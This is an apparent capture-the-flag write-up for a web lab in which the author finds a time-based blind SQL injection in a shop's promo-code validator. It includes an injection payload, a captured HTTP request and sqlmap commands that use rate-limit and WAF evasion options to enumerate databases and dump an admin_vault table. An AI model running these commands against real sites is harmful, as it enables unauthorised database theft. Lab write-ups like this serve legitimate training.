Ciphered Cart
NovaStore's promo-code endpoint leaks one bit per request. The storefront only tells you "applied" or "invalid" — nothing more. Pry the hidden admin-vault secret out one boolean at a time. Requests are rate-limited, so brute force will not save you.
Room Description

https://dashboard.webverselabs-pro.com/challenges/ciphered-cart
Scenario
NovaStore's ops team hardened almost every form on the site after last year's breach. Almost. A junior engineer "fixed" the promo-code validator by adding rate limiting — but forgot to prepare the statement. One bit of signal per request is all you need.
Objective
NovaStore's promo-code endpoint leaks one bit per request. The storefront only tells you "applied" or "invalid" — nothing more. Pry the hidden admin-vault secret out one boolean at a time. Requests are rate-limited, so brute force will not save you.
Initial Analysis
This web application seems quite small, just a list of products that are under different categories that we can add to our cart and then we have a promo code validator.


From the categories available in the header, one is missing, there should be a stationery category for the Nova Field notebook, but it's missing.

The categories are just a filter for the products, nothing more.

We can post a review for each of the products available.

Finding the bug
There doesn't seem to be much room to work with referring to potential bugs, we have product listings that also could be subject to SQL injections, but I think that it is quite obvious that the part we need to be looking at is the promo code validator after adding items to the cart.

Let's try WELCOME10 to see if it works.

The discount works, but we don't see it applied anywhere, hm, let's try an invalid one.

Now we know what the page would look like if it errors out. Let's try a boolean based payload.
' OR 1=1 -- -

Nada, but we can send the request over to sqlmap to check since I don't see what else this vulnerability could be, maybe a time-based injection?
POST /apply_promo.php HTTP/2
Host: 623663ab-3970-ciphered-cart-3e765.challenges.webverselabs-pro.com
Cookie: PHPSESSID=d47bdef848ce0f7ba91dffb4bcf72a06
Content-Length: 9
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: */*
Origin: https://623663ab-3970-ciphered-cart-3e765.challenges.webverselabs-pro.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://623663ab-3970-ciphered-cart-3e765.challenges.webverselabs-pro.com/cart.php
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
code=test
Save this as a file then:
sqlmap -r req --level 5 --risk 3



Exploitation
We know what database management system is being used now, so we can supply that, as well as the technique, because the challenge does mention rate limitation, as well as the WARNINGS that sqlmap is giving us, we will add a delay (just one second cause we need to extract characters after all, and we don't want to fall asleep) and put the sleep timer to 2 or 3 seconds so it doesn't cause issues. As well as, we should add --random-agent, because the WAF might be noticing irregular user-agents.
sqlmap -u "https://b38020b7-3970-ciphered-cart-12c22.challenges.webverselabs-pro.com/apply_promo.php"--data="code=test" -p code --dbms=mysql --technique=T --time-sec=2 --threads=1 --delay=1 --random-agent --batch --dbs

We managed to retrieve two of the databases, information_schema and chalapp, we are getting some corrupted information though, so it might be best to use --fresh-queries moving forward to bypass sqlmap's cache. We have our database, time to get table information.
sqlmap -u "https://b38020b7-3970-ciphered-cart-12c22.challenges.webverselabs-pro.com/apply_promo.php" --data="code=test" -p code --dbms=mysql --technique=T --time-sec=3 --threads=1 --delay=1 --fresh-queries --batch -D chalapp --tables --random-agent

Great! We have a table called admin_vault, surely that's the one we need since it is mentioned in the challenge description as well, I cancelled sqlmap since it is taking a while to extract character by character, gotta guess here. Let's extract the columns.
sqlmap -u "https://b38020b7-3970-ciphered-cart-12c22.challenges.webverselabs-pro.com/apply_promo.php"--data="code=test" -p code --dbms=mysql --technique=T --time-sec=3 --threads=1 --delay=1 --fresh-queries --batch --random-agent -D chalapp -T admin_vault --columns

Okay, we got the two columns, we could wait out to see the length of the secret_flag column values, but we already know the flag formatting, we also can add --hex as a switch to avoid corruption.
sqlmap -u "https://b38020b7-3970-ciphered-cart-12c22.challenges.webverselabs-pro.com/apply_promo.php" --data="code=test" -p code --dbms=mysql --technique=T --time-sec=3 --threads=1 --delay=1 --fresh-queries --batch --random-agent -D chalapp -T admin_vault -C secret_flag --hex --dump

Takes a while, but we get there :P